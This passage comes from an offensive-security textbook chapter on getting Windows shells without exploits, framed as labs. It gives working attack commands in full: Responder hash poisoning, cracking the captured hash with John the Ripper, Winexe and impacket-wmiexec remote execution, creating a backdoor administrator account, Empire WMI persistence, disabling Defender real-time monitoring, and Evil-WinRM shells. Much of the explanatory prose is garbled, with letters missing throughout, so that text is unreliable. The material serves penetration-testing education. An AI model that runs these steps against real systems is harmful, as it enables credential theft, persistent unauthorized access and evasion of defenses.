* Password : Winter2021!
NOTE Running Mimikatz may cause your shell to disappear. If you don’t
get information back, remember to type the agents command to see if
your agent is still alive. If it isn’t, go back and run the Evil-WinRM step again
and get a new shell to perform the rest of the lab. You may also not see
plaintext credentials; if this is the case, log back in to the system with RDP
and try again.
H w s ha w hav h ag us’s passwod i plaix as wll as h NTLM
hash fo h us. If oh uss w loggd i, his could b a addiioal way o gah
cdials, bu sic w alady hav h cdials fo his us, w ca jus add psis-
c so if h cdials chag, w ca g back i. To do his, w jus hav o us h
psisc modul ad xcu i:
(Empire: powershell/credentials/mimikatz/logonpasswords) > back
(Empire: 19VUB7PN) > usemodule persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener http
(Empire: powershell/persistence/elevated/wmi) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked 19VUB7PN to run TASK_CMD_WAIT
[*] Agent 19VUB7PN tasked with task ID 1
[*] Tasked agent 19VUB7PN to run module powershell/persistence/elevated/wmi
WMI persistence established using listener http with OnStartup WMI subsubscription
trigger.
W ow hav saup psisc s hough WMI, so w should b abl o boo ou
Widows box ad g a shll back.
NOTE If you don’t get a shell back, we can either do work to modify the
persistence mechanism or turn it off using the command Set-MPPreference
-DisableRealTimeMonitoring $true in our Evil-WinRM shell. After this
command is run, you should get back a shell after the next reboot.
323
Summary
PowShll is o of h mos powful ools o a Widows sysm. I his chap, w
lookd a h diff scuiy cosais aoud uig PowShll scips. W also
lookd a how o bypass hs cosais usig a vaiy of diff chiqus.
Oc you bypass hs sicios, h doo is op fo you o us oh famwoks
such as PowSploi ad PowShll Empi. Ths ools allow you o g addiioal
accss o sysms, maiai psisc, ad xfila daa.
By usig hs chiqus, you ca “liv off h lad,” maig ha you oly us
wha’s alady o you ag sysm. No addiioal biais a quid. Bcaus som
of you scips may b caugh by AV, w also lookd a how o wok aoud AMSI o g
cod xcuio. I h d, you’ll hav ags ha maiai psisc acoss boos, as
wll as a umb of ools o maiai accss o you ag sysms whil gahig ad
xfilaig daa.
PART III
For Further Reading
PowerShell Empire home page gihub.com/BC-SECURITY/Empi
PowerSploit documentation powsploi.adhdocs.io//las/
“Using Reflection for AMSI Bypass” www.dam.caf/d-am/powshll/usig-
flcio-fo-amsi-bypass
“Enabling Enhanced PowerShell logging & Shipping Logs to an ELK Stack for Threat
Hunting” cybwadog.blogspo.com/2017/06/ablig-hacd-ps-loggig-shippig
.hml
Reference
1. Mahw Duwoody, “Ga Visibiliy Though PowShll Loggig,” FiEy,
Fbuay 11, 2016, hps://www.fiy.com/blog/ha-sach/2016/02/
ga_visibiliy.hml.
Getting Shells
Without Exploits
CHAPTER
16
• Capturing password hashes
• Using Winexe
• Using WMI
• Taking advantage of WinRM
One of he key enes in peneaion esing is seah. The soone we ae seen on he
newok, he fase he espondes an sop us fom pogessing. As a esu, using oos
ha seem naua on he newok and using uiiies ha do no geneae any noieabe
impa fo uses is one of he ways we an say unde he ada. In his hape we ae
going o ook a some ways o gain aess and move aeay hough an envionmen
whie using oos ha ae naive on he age sysems.
Capturing Password Hashes

When we ook a ways o gain aess o sysems ha don’ invove expois, one of he fis
haenges we have o oveome is how o gain edenias o one of hese age sysems.
We’e going o fous on ou age Windows 2016 sysem fo his hape, so fis you
need o know wha hashes we an apue, and seond you need o know how we an use
hose hashes o ou advanage.
Understanding LLMNR and NBNS

When we ook up a DNS name, Windows sysems go hough a numbe of diffeen
seps o esove ha name o an IP addess fo us. The fis sep invoves seahing oa
fies. Windows wi seah he Hoss o LMHOSTS fie on he sysem o see if hee’s
an eny in ha fie. If hee isn’, hen he nex sep is o quey DNS. Windows wi
send a DNS quey o he defau nameseve o see if i an find an eny. In mos
ases, his wi eun an answe, and we’ see he web page o age hos we’e ying
o onne o.
325
326
In siuaions whee DNS fais, moden Windows sysems use wo pooos o y
o esove he hosname on he oa newok. The fis is Link Loa Muias Name
Resouion (LLMNR). As he name suggess, his pooo uses muias o y o find
he hos on he newok. Ohe Windows sysems wi subsibe o his muias addess.
When a hos sends a eques, any isening hos ha owns ha name and an un i ino
an IP addess wi geneae a esponse. One he equesing hos eeives ha esponse,
he sysem wi send us o he esponding hos.
Howeve, if Windows an’ find he hos using LLMNR, hee is one addiiona way
o find he hos. Windows uses he NeBIOS Name Sevie (NBNS) and he NeBIOS
pooo o y o disove he IP. I does his by sending a boadas eques fo he hos
o he oa subne, and hen i wais fo someone o espond o ha eques. If a hos
exiss wih ha name, i an espond diey. Then ou sysem knows, o ge o ha
esoue, i needs o go o ha oaion.
Boh LLMNR and NBNS ey on us. In a noma envionmen, a hos wi ony
espond o hese pooos if i is he hos being seahed fo. As a maiious ao, hough,
we an espond o any eques sen ou o LLMNR o NBNS and say ha he hos being
seahed fo is owned by us. Then when he sysem goes o ha addess, i wi y o
negoiae a onneion o ou hos, and we an gain infomaion abou he aoun ha
is ying o onne o us.
Understanding Windows NTLMv1

and NTLMv2 Authentication
When Windows hoss ommuniae among hemseves, hee ae a numbe of ways in
whih sysems an auheniae, suh as via Kebeos, eifiaes, and NeNTLM. The
fis pooo we ae going o fous on is NeNTLM. As he name suggess, NeNTLM
povides a safe way of sending Windows NT LAN Manage (NTLM) hashes aoss he
newok. Befoe Windows NT, LAN Manage (LM) hashes wee used fo newok-based
auheniaion. The LM hash was geneaed using Daa Enypion Sandad (DES)
enypion. One of he weaknesses of he LM hash was ha i was auay wo sepaae
hashes ombined ogehe. A passwod woud be onveed o uppease and padded
wih nu haaes uni i eahed 14 haaes, and hen he fis and seond haves
of he passwod woud be used o eae he wo poions of he hash. As ehnoogies
pogessed, his beame a bigge dea beause eah haf of he passwod oud be aked
individuay, meaning ha a passwod ake woud a mos have o ak wo seven-
haae passwods.
Wih he adven of ainbow abes, aking beame even easie, so Windows NT
swihed o using he NT LAN Manage (NTLM) hashes. Passwods of any engh oud
be hashed, and he RC4 agoihm was used fo geneaing he hash. This is vasy moe
seue fo hos-based auheniaion, bu hee’s an issue wih newok-based auheni-
aion. If someone is isening and we’e jus passing aw NTLM hashes aound, wha
sops ha peson fom gabbing a hash and epaying i? As a esu, he NeNTLMv1
and NeNTLMv2 haenge/esponse hashes wee eaed o give addiiona andomness
o he hashes and make hem sowe o ak.
Chapter 16: Getting Shells Without Exploits
327
NTLMv1 uses a seve-based none o add o he andomness. When we onne o
a hos using NTLMv1, we fis ask fo a none. Nex, he equesing ien akes ou
NTLM hash and e-hashes i wih ha none. We hen send his ien haenge o he
seve fo auheniaion. If he seve knows he NT hash, i an e-eae he haenge
hash using he haenge ha was sen. If he wo mah, hen he passwod is oe,
and he seve an poeed wih he aion. The pobem wih his pooo is ha a mai-
ious aake oud ik someone ino onneing o hei seve and povide a sai
none. This means ha he NTLMv1 hash is jus sighy moe ompex han he aw
NTLM edenia and an be aked amos as quiky as he aw NTLM hash. Thee-
foe, NTLMv2 was eaed.
NTLMv2 povides wo diffeen nones in he haenge hash eaion. The fis is
speified by he seve, and he seond by he ien. This way, even if he seve is om-
pomised and has a sai none, he ien none si adds ompexiy o ensue ha
hese edenias ak moe sowy. This aso means ha he use of ainbow abes is no
PART III
onge an effiien way o ak hese ypes of hashes.
NOTE It is worth noting that challenge hashes cannot be used for pass-the-
hash attacks. If you don’t know what type of hash you are dealing with, refer
to the entry for “hashcat Hash Type Reference” in the “For Further Reading”
section at the end of this chapter. Use the URL provided to identify the type
of hash you’re dealing with.
Using Responder
In ode o apue hashes, we need o use a pogam o enouage he viim hos o give
up he NeNTLM hashes. To ge hese hashes, we’ use Responde o answe LLMNR
and NBNS queies. We’e going o use a fixed haenge on he seve side, so we’ ony
have o dea wih one se of andomness insead of wo.
Getting Responder
Responde aeady exiss on ou Kai Linux disibuion. Howeve, Kai doesn’ aways
updae as fequeny as he eao of Responde, Lauen Gaffié, ommis updaes.
Beause of his, we’e going o use he aes vesion of Responde. I aeady exiss on he
ab Kai insane, bu we need o updae i o he aes vesion. In ode o updae ou
eposioy, simpy do he foowing:
└─$ cd responder/
┌──(kali kali)-[~/responder]
└─$ git pull
Already up to date.
If hee ae any updaes, ou ode woud now be up o dae. By veifying ha ou ode
is up o dae befoe eah exeuion, we an make sue we’e using he aes ehniques o
ge he mos ou of Responde.
328
Running Responder
Now ha we have Responde insaed, e’s ook a some of he opions we an use. Fis
of a, e’s ook a a he hep opions:
└─$ ./Responder.py -h
<snipped for brevity>
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
❶ -I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False
❸ -f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
❷ -w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose Increase verbosity.
Thee ae a o of opions hee, so e’s onenae on he ones ha ae mos use-
fu and ess ikey o beak anyhing. Some of hese opions, suh as wredir, wi beak
newoks unde eain ondiions. Aso, some aions wi give us away, suh as foing
basi auheniaion. When we foe basi auheniaion, he viim wi see a pop-up
box asking fo a usename and passwod. The upside is ha we wi ge he passwod in
painex, bu he downside is ha he use migh eaize ha somehing is up.
Now ha we’ve oveed wha no o do, e’s ake a ook a how o use Responde.
The mos impoan opion is speifying he inefae ➊. Fo ou es, we’e going o
be using ou pimay newok inefae, eh0. If you ae in a sysem ha has muipe
inefaes, you oud speify an aenae inefae o use ALL o isen o a ine-
faes. The nex opion we’ speify is he WPAD seve ➋. WPAD is he Web Poxy
329
Auo-Disovey pooo. I is used by Windows devies o find a poxy seve on he
newok. This is safe o use if you Kai box has die aess o he Inene. Howeve, if
you’e on a newok whee you Kai box has o go hough a poxy, hen his wi beak
he iens you poison, so don’ use i. The benefi of using his opion is, if hoss ook
fo a WPAD seve fo web affi, any web affi wi igge Responde’s poisoning
o ge a hash—wheeas wihou i, you have o wai fo someone o go o a shae ha
doesn’ exis.
Finay, we’ use he fingerprint ❸ opion. This opion gives us some basi infoma-
ion abou hoss using NeBIOS on he newok, suh as he names being ooked up
and he hos OS vesions. This wi give us an indiaion of wha ypes of boxes ae on
he newok.
Lab 16-1: Getting Passwords with Responder
PART III
NOTE The GitHub repository for this chapter contains a README file that
discusses the setup of the network for this and other labs in this chapter.
Therefore, you should read this file before continuing, to make sure these
labs work for you. If at any point you need the IP addresses of the systems,
you can always run terraform show from the terraform directory in the lab
subdirectory for this chapter.
Now ha you have he basis down, e’s pu you knowedge o wok. In ou ab newok
we have a age ompue unning Windows Seve 2016 and a Kai box. Fis, we SSH
ino he Kai sysem. Then we hange ino he Responde dieoy. We beome oo
o ensue we an inea wih sysem sevies a he igh piviege eve, and we sop
Apahe and smbd. Doing his makes sue ha Responde an use hose pos. Now, un
Responde o sa he poisoning poess:
└─$ sudo bash
┌──(root kali)-[/home/kali/responder]
└─# service apache2 stop
└─# service smbd stop
└─#./Responder.py -wf -I eth0
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [ON]
[+] Listening for events...
330
Now ha Responde is isening, we an wai fo a eques o be made. In he ab, a
shedued ask on he age seve simuaes a eques evey minue. In eaiy, we woud
have o wai fo someone o make a eques ha doesn’ nomay esove. This oud ake
seonds o muh onge, depending on how aive he newok is and how many ypos
o invaid hosnames he hos is using.
Ou shedued ask akes ae of his fo us, bu Figue 16-1 shows wha we woud see
if we ied o aess a nonexisen shae fom a Windows sysem. Beyond he “Aess is
denied” message, we don’ see any ohe sange behavio on he Windows sysem. On
he Kai box, hough, we see a o of aiviy:
[SMB] NTLMv2-SSP Client : 10.0.0.20
[SMB] NTLMv2-SSP Username : GHH\target
❶[SMB] NTLMv2-SSP Hash :
target::GHH:999110fcc6fd06ac:74A9A81ED10872F65D2239B4B937DBA7:01010000000000
00C0653150DE09D201499A192F94D427A2000000000200080053004D004200330001001E0057
0049004E002D00500052004800340039003200520051004100460056000400140053004D0042
0033002E006C006F00630061006C0003003400570049004E002D005000520048003400390032
00520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053
004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000
000800300030000000000000000000000000300000E629BD2DE076B1DF40D7FDB663ECB4273E
F2AD6EB0A30FCC93F9A1585ADCAC0C0A0010000000000000000000000000000000000009001C
0063006900660073002F00310030002E0030002E0030002E00340030000000000000000000
In he exampe shown in Figue 16-1, we don’ see a poison message beause a
shedued ask is aessing he age. In a ea senaio, we migh see eihe NeBIOS o
LLMNR poisoning messages hee, aong wih some anaysis of he hos sysem. In ou
exampe we ae given he NeNTLMv2 hash aong wih he usename ❶. We an y o
ak his edenia and see if i woks on he sysem. When doing his on you own, you
may see a diffeen hash beause he ien none is hanging eah ime.
NOTE In this example, we are working in the AWS lab space. AWS VPCs do
not support broadcast or multicast traffic, so we can’t perform an actual
poison. We have simulated this with a scheduled task. The actual request
that would be required for poisoning will not be sent; however, this
methodology will result in poisoning in environments where multicast and
broadcast are supported and clients have LLMNR or NetBIOS enabled.
Figure 16-1 Requesting a file from a share that doesn’t exist

331
Now ha we have a vaid hash, pess ctrl-c on he Responde window o sop i fom
unning. The nex sep is o dump he hashes ou of Responde in a foma ha John he
Rippe an poess:
└─# ./DumpHash.py
Dumping NTLMV2 hashes:
target::GHH:999110fcc6fd06ac:74A9A81ED10872F65D2239B4B937DBA7:01010000000000
00C0653150DE09D201499A192F94D427A2000000000200080053004D004200330001001E0057
0049004E002D00500052004800340039003200520051004100460056000400140053004D0042
0033002E006C006F00630061006C0003003400570049004E002D005000520048003400390032
00520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053
004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000
000800300030000000000000000000000000300000E629BD2DE076B1DF40D7FDB663ECB4273E
F2AD6EB0A30FCC93F9A1585ADCAC0C0A0010000000000000000000000000000000000009001C
0063006900660073002F00310030002E0030002E0030002E00340030000000000000000000
We an see ou NeNTLMv2 hash hee, bu we aso see wo new fies eaed in he
PART III
dieoy: DumpNTLMv2.x and DumpNTLMv1.x. Whie fies fo boh v1 and v2
ae eaed, we know ha he hash passed o Responde was Vesion 2 (v2), so we an jus
un John agains he v2 fie and see if i an ak he passwod:
└─# wget -q \
https://raw.githubusercontent.com/GrayHatHacking/GHHv6/main/Ch16/passwords.txt
We ae going o use a passwod is eaed espeiay fo his ab. This wi gab he
fie fom GiHub.
└─# john DumpNTLMv2.txt --wo=passwords.txt --ru=KoreLogic
In his insane, we have used he KoeLogi uese wih John he Rippe. This
uese is vey exensive, and i’s good fo esing smae wodiss wih os of diffeen
pemuaions. In ou ase, we have a oo wih seasons and he wod “passwod,” whih
wi ikey ge a passwod wih age quaniies of hashes pey quiky.
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Winter2021! (target)
1g 0:00:00:27 DONE (2021-01-18 04:36) 0.03663g/s 752996p/s 752996c/s 752996C/s
Summer1995!..Winter2029$
Use the "--show --format=netntlmv2" options to display all of the cracked
passwords reliably
Session completed
Afe a few momens, John has suessfuy aked he passwod—i found he
passwod “Wine2021!” fo he “age” use. Wih hese edenias, we an aess he
sysem emoey. In he es of his hape, we’e going o use hese edenias o fuhe
inea wih ou age mahine.
332
Using Winexe
Winexe is a emoe adminisaion oo fo Windows sysems ha uns on Linux. Wih
Winexe, we an un appiaions on he age sysem o open up an ineaive om-
mand pomp. One addiiona benefi is ha we an ask Winexe o aunh ou she as
“sysem” if we ae ageing a sysem whee ou use has eevaed edenias, giving us
addiiona pivieges o he sysem.
Lab 16-2: Using Winexe to Access Remote Systems
We have edenias fo ou age sysem fom using Responde, bu how do we now
inea wih ou age sysem? Using Winexe is a ommon way fo aakes o aess
emoe sysems. I uses named pipes hough he hidden IPC$ shae on he age sysem
o eae a managemen sevie. One ha sevie is eaed, we an onne o i and
a ommands as he sevie.
Fo his ab, we sa whee Lab 16-1 ends. Pease be sue you have pefomed he
seps in ha ab. Fis, we exi ou oo she and eun o he home dieoy. Then,
we veify ha ou age sysem is shaing IPC$ by using smbien o is shaes on he
age sysem:
└─# exit
└─$ smbclient -U 'GHH/target%Winter2021!' -L 10.0.0.20

--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Fo many of he oos we use in he es of his hape, we’e going o see his
ommon way of speifying he ogon edenias fo he age sysem. The foma is
<DOMAIN>/<USERNAME>%<PASSWORD>. Hee, we speified ou use eden-
ias as GHH/target%Winter2021!, ou usename and passwod. These edenias use
singe quoes beause some speia haaes may be inepeed by he opeaing sysem
wihou hem. The -L opion asks smbien o is he shaes on he sysem. We an see
ha hee ae a numbe of shaes, inuding ou IPC$ shae.
Wih knowedge ha he IPC$ shae is avaiabe, e’s see if we have he abiiy o aunh
a ommand pomp. We’ use he same synax fo speifying he usename, ony his
ime we’ use he synax //<IP ADDRESS> o speify he age sysem. We aso add he
--uninstall fag, whih wi uninsa ou sevie on exi. Finay, we speify cmd.exe fo
he md.exe appiaion, whih gives us an ineaive she on he age sysem.
└─$ winexe -U 'GHH/target%Winter2021!' --uninstall //10.0.0.20 cmd.exe
C:\Windows\system32>whoami
whoami
ghh\target
333
We now see he Windows banne and ommand pomp, whih means we sueeded.
Nex, we wan o hek ou piviege eve so ha we an deemine he ighs we ae
opeaing wih. By yping whoami, we an pin ou he use ID of ou she. In his ase,
ou use is he “ghh\age” use, whih means ha we wi have pivieges as ha use.
CAUTION If you exit the shell by using ctrl-c or if you don’t use the
--uninstall flag, the service that’s created will remain on the target system.
As an attacker, this is bad because you’re leaving a trace of the techniques
you’re using for remote access. As a penetration tester, leaving artifacts
makes it difficult to determine if another breach has occurred, and it may
set off red flags after you’ve left a system. This doesn’t always come up right
away. In six months, someone might ask if you left the service around. So, if
you aren’t cleaning up, you’ll be left relying on notes to answer some very
PART III
uncomfortable questions.
Finay, o eave ou she, we an jus ype exit a he ommand pomp. We shoud
hen see he Kai pomp, whih es us know ha we have ef he she. On he seve
side, ou sevie is being uninsaed and ou onneion osed.
Lab 16-3: Using Winexe to Gain Elevated Privileges
In many ases, he hings we wan o do on a age sysem wi equie eevaed pivi-
eges. In he pevious ab, we wee abe o ge aess as a noma use, bu we eay wan
aess as he SYSTEM use. Beause his use has fu pivieges ove he sysem, we an
aess edenias, memoy, and ohe vauabe ages.
└─$ winexe -U 'GHH/target%Winter2021!' --uninstall \
--system //10.0.0.20 cmd.exe
To exeue ou aak, we’e going o use a he same opions as ou pevious ab, bu
we’ add in he --system fag. This wi ake ae of esaaion fo us, and he end esu
is a highy pivieged she, as shown hee:
whoami
nt authority\system
As you an see hee, we’e now aessing he viim mahine as he SYSTEM use.
Ahough no pa of he sope of his exeise, his aows us o dump edenias, e-
ae new uses, eonfigue he devie, and pefom many ohe asks ha a noma use
migh no be abe o do. Be sue o ype exit a he ommand pomp o eave he she
when you ae finished.
334
Using WMI
Windows Managemen Insumenaion (WMI) is a se of speifiaions fo aessing
sysem onfiguaion infomaion aoss an enepise. WMI aows adminisaos o
view poesses, pahes, hadwae, and many ohe piees of infomaion abou he a-
ge sysem. I has he abiiy o is infomaion, eae new daa, deee daa, and hange
daa on he age sysem based on he pemissions of he aing use. As an aake,
his means ha we an use WMI o find ou quie a bi abou a age sysem as we as
manipuae he sysem sae.
Lab 16-4: Querying System Information with WMI
Knowing ha we an quey sysem infomaion wih WMI, we migh wan o know a
numbe of hings abou ou age sysem. Fo exampe, we migh wan o know who
is ogged on ineaivey o see if hee is a isk of us geing augh. In his ab, we’e
going o use wo diffeen WMI queies o see wha use o uses ae ogged in o he
age sysem.
To quey WMI, we have o buid a WMI Quey Language (WQL) quey ha wi ge
he infomaion we ae ooking fo. WQL ooks simia o Suued Quey Language
(SQL), whih is used fo daabase queies. To buid ou quey, hough, we have o know
a ie bi moe abou how WMI woks. The mos impoan hing we need o know is
he ass we wi be queying. The “Fo Fuhe Reading” seion a he end of his hap-
e onains an eny ha poins o Miosof’s is of asses ha ae aessibe hough
WMI. Howeve, we’e going o ook a jus wo in his exeise.
The fis ass we’e going o be queying is he win32_logonsession ass.1 This ass
onains infomaion abou he sessions ha ae ogged in, he ype of ogon ha has
been pefomed, he sa ime, and ohe daa. Le’s pu ogehe a quey o use fis, and
hen we’ ook a how o exeue his quey using WMI:
select LogonType,LogonId from win32_logonsession
Using his quey, we see wo diffeen piees of daa fom he win32_logonsession
ass. The fis is LogonType, whih onains infomaion abou he ype of ogin being
pefomed. The seond, LogonId, is he inena ID numbe fo he ogon session. To
exeue his quey, we have o use a WMI ien. Kai has wo diffeen iens fo WMI
queies: he fis is ph-wmi, and he seond is pa of Impake’s sips. The ph-wmi
ien is easie fo siping, so we’e going o be fousing on ha.
The synax fo ph-wmi is simia o ha of he Winexe oo we used in he as ab.
We’ speify he use and he hos he same way and hen add ou WQL quey o he
end of he ommand:
└─$ pth-wmic -U 'ghh/target%Winter2021!' //10.0.0.20 \
"select LogonType,LogonId from win32_logonsession"
335
One he ommand is exeued, he infomaion abou he ogin sessions wi be
euned:
CLASS: Win32_LogonSession
LogonId|LogonType
999|0
997|5
996|5
22720456|10
22710110|10
33768301|3
92491|3
48170|2
48115|2
22687459|2
22687062|2
PART III
Looking a he oupu fom ou quey, we see he session and he ogon ype. A numbe
of ogon ypes ae shown hee, so how do we know whih sessions we ae ineesed in? To
deemine his, efe o Tabe 16-1, whih shows he diffeen ypes of ogons and wha
hey mean.
Now ha we know wha he ypes mean, e’s imi ou quey o jus ype 2 and
ype 10 ogons. This shoud e us wha ogon IDs we need o ook fo in ode o find
he ineaive use ogons.
"select LogonId from win32_logonsession where LogonType=2 or LogonType=10"
CLASS: Win32_LogonSession
LogonId
22720456
22710110
48170
48115
22687459
22687062
Table 16-1 Logon

Logon Types for Type Meaning
Logon Sessions 0 SYSTEM account logon, typically used by the computer itself.
2 Interactive logon. This is typically console access but could also
be Terminal Services or another type of logon where a user is
directly interacting with the system.
3 Network logon. This is a logon for things like WMI, SMB, and
other remote protocols that aren’t interactive.
5 Service logon. This logon is reserved for running services, and
although this is an indication of credentials that may exist in
memory, the user won’t directly be interacting with the system.
10 Remote interactive logon. This is typically a Terminal Services
logon.
336
We si see a numbe of diffeen ogons. Le’s ake a ook a hee of hem: one in
he 30K seies, one in he 50K seies, and one in he “ove 1 miion” seies. The ogon
sessions ae mapped o uses in he win32_oggedonuse abe. Unfounaey, his is
had o quey hough WQL fo speifi ogon IDs beause he vaues ae sings and no
ineges, so we’e going o sip his wih ph-wmi and egep o age he vaues we
wan. Eah sysem wi have diffeen vaues, so be sue o use he LogonID vaues you
ge fom you sysem insead of ou vaues fo egep, as shown hee:
"select * from win32_loggedonuser" | egrep -e 22720456 -e 48170 -e 22687062
We shoud see jus he seeed LogonID vaues euned:

\\.\root\cimv2:Win32_Account.Domain="GHH",Name="target"|
\\.\root\cimv2:Win32_LogonSession.LogonId="22720456"
\\.\root\cimv2:Win32_Account.Domain="WS20",Name="DWM-1"|
\\.\root\cimv2:Win32_Account.Domain="WS20",Name="DWM-2"|
In ou exampe, we see hee uses: age, DWM-1, and DWN-2. DWM and UMFD
ae dive-based aouns, so we an safey ignoe hem. You may see a diffeen ising,
depending on when you un he ommand. If you wan o ensue ha he age use
shows up, you shoud make sue i is ogged in on he age sysem befoe unning his
ommand. We see a paen hee, so e’s ook a ony he poesses ha aen’ oa o
WS20:
"select * from win32_loggedonuser" | grep -v WS20
The domain, usename, and LogonId shoud be euned fo eah use ha isn’ oa
o he sysem:
CLASS: Win32_LoggedOnUser
Antecedent|Dependent
Finay, we an see he sessions ogged ino he box. A ae he age use in he GHH
domain. Using WMI, we have deemined ha age is ogged in ineaivey o he
sysem. Theefoe, if we do anyhing ha pops up a window o auses disupions, we
migh be deeed.
337
Lab 16-5: Executing Commands with WMI
Now ha we know a bi moe abou WMI, e’s ook a how o exeue ommands. We
have wo opions fo exeuing ommands using WMI: we oud eae a new poess
wih WMI and hen monio he oupu, o we oud use one of he oos bui ino Kai.
Fo his exampe, we’ use he impake-wmiexe binay o aunh ommands.
To do a basi es, e’s un impake-wmiexe o eieve he usename. We un his
ommand agains ou Windows age:
└─$ impacket-wmiexec 'GHH/target:[email protected]' whoami
Impacket v0.9.23.dev1+20210111.162220.7100210f - Copyright 2020 SecureAuth
Corporation
[*] SMBv3.0 dialect used
PART III
ghh\target
Nex, e’s do somehing a bi moe ineesing. Le’s eae a bakdoo use so ha
we an ge bak in ae. We wan o add his use o he Adminisaos goup oay so
ha we have fu aess when we onne bak. This ensues ha if he use hanges hei
passwod, we si have aess o he age sysem. To sa wih, we’e going o use he
net user ommand o eae a new use aed evihake:
└─$ impacket-wmiexec 'GHH/target:[email protected]' \
'net user evilhacker Abc123! /add'
We shoud see a onneion message and an indiaion ha he ommand exeued
suessfuy:
Impacket v0.9.23.dev1+20210111.162220.7100210f - Copyright 2020 SecureAuth Corporation

When his ommand uns, i exeues he ommand via WMI and wies he oupu
o a fie. The pogam auomaiay eieves he onen of he fie fo us, so we know
ha he ommand was exeued suessfuy. Now ha we have a new use on he sysem,
e’s add his new use o he oa Adminisaos goup using net localuser:
'net localgroup Administrators evilhacker /add'
Corporation
'net localgroup Administrators'
Corporation

Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
338
Members
-------------------------------------------------------------------------------
Administrator
evilhacker
GHH\Domain Admins
GHH\target
Now ha we’ve added ou use evihake o he Adminisaos goup, e’s make
sue ou aiviy woked. We’ go bak in and use net localgroup fo he Adminisaos
goup o make sue ou use appeas. Las bu no eas, e’s hek o make sue we have
aess:
└─$ winexe -U 'evilhacker%Abc123!' --system --uninstall //10.0.0.20 cmd.exe
whoami
nt authority\system
We’ve suessfuy eaed a bakdoo ino he sysem ha wi aow us o ome bak
ae and aess i. We have added i o he Adminisaos goup so ha we an esaae
pivieges o he SYSTEM use. When we ied ou winexe ommand, we suessfuy
go bak a she, veifying ha we have aess when we need i in he fuue, egadess
of wha he use hanges hei passwod o. Don’ foge o ype exit o ge ou of you
she when you ae done.
Taking Advantage of WinRM

WinRM is an addiiona way o inea wih Windows emoey. Inodued in Win-
dows 8 and Windows Seve 2012, his oo uses SOAP ove web-based onneions o
inea wih a age sysem. I suppos boh HTTP and HTTPS, as we as auhenia-
ion based on Basi Auh, hashes, and Kebeos. Aong wih he abiiy o do siping
wih WMI-based inefaes, aunh appiaions, and inea wih PoweShe, his is a
vey powefu oo we an use when we find i avaiabe.
Lab 16-6: Executing Commands with WinRM
One of he ways ha WinRM an hep us is by aowing us o exeue ommands
emoey. Unfounaey, a he ime of his wiing, hee ween’ a o of ommand-ine
oos fom Kai o do his by defau. Howeve, hee ae Pyhon (pywinm) and Ruby
(winm) gems ha do suppo he pooo. Ou Ansibe insaaion fo he ab auo-
maiay insaed he evi-winm gem ha aows us o use he Ruby gems o pefom
asks, bu i has addiiona funionaiy wih peneaion eses in mind.
339
To inea wih a emoe hos using evi-winm, e’s sa off by unning a simpe
whoami ommand. We jus need o speify he use, passwod, and age, and when we
onne we’ eeive a pomp and an issue ommands:
└─$ evil-winrm -u target -p 'Winter2021!' -i 10.0.0.20
*Evil-WinRM* PS C:\Users\target\Documents> whoami
ghh\target
You an see ha we speified -u fo he use edenias, -p fo he passwod, and -i fo
he IP addess. One onneed, we eeived a pomp ha keeps ak of whee we ae
oaed in he fie sysem. Using his pomp, we an un she ommands bu an aso
un PoweShe diey fom he pomp. Le’s ge he is of oa uses:
*Evil-WinRM* PS C:\Users\target> Get-LocalUser
PART III
Name Enabled Description
---- ------- -----------
Administrator True Built-in account for administering the computer/domain
DefaultAccount False A user account managed by the system.
evilhacker True
Guest False Built-in account for guest access to the computer/domain
We see he PoweShe oupu of he Get-LocalUser ommand and an see he
defau Adminisao aoun as we as he evihake aoun we eaed eaie. In
his onfiguaion we ae imied o PoweShe sips we have on he sysem o an
impo ove he Web. Cmdes ike Invoke-WebRequest and Invoke-Expression an
be used o emoey ge iems ove he Inene and ono he sysem, bu if we wan o
bing aong ou own ode, we need o y somehing diffeen.
To exi he Evi-WinRM she, ype exit o eun o he Kai pomp.
Lab 16-7: Using Evil-WinRM to Execute Code
Moe oos ae aowing us o bing ode aong wih us so ha we don’ have o figue
ou how o ge hem ino a sysem. Evi-WinRM has wo diffeen ways fo us o bing
ove ode: binaies ha i wi exeue fo us, and sips ha we an un oay. Le’s
begin by e-exeuing he oo wih wo addiiona opions: a binay dieoy and a
sip dieoy.
└─$ evil-winrm -u target -p 'Winter2021!' -i 10.0.0.20 -e Binaries \
-s /usr/share/windows-resources/powersploit/Recon
The -e opion speifies a oaion o pu binaies fom. This dieoy inudes a num-
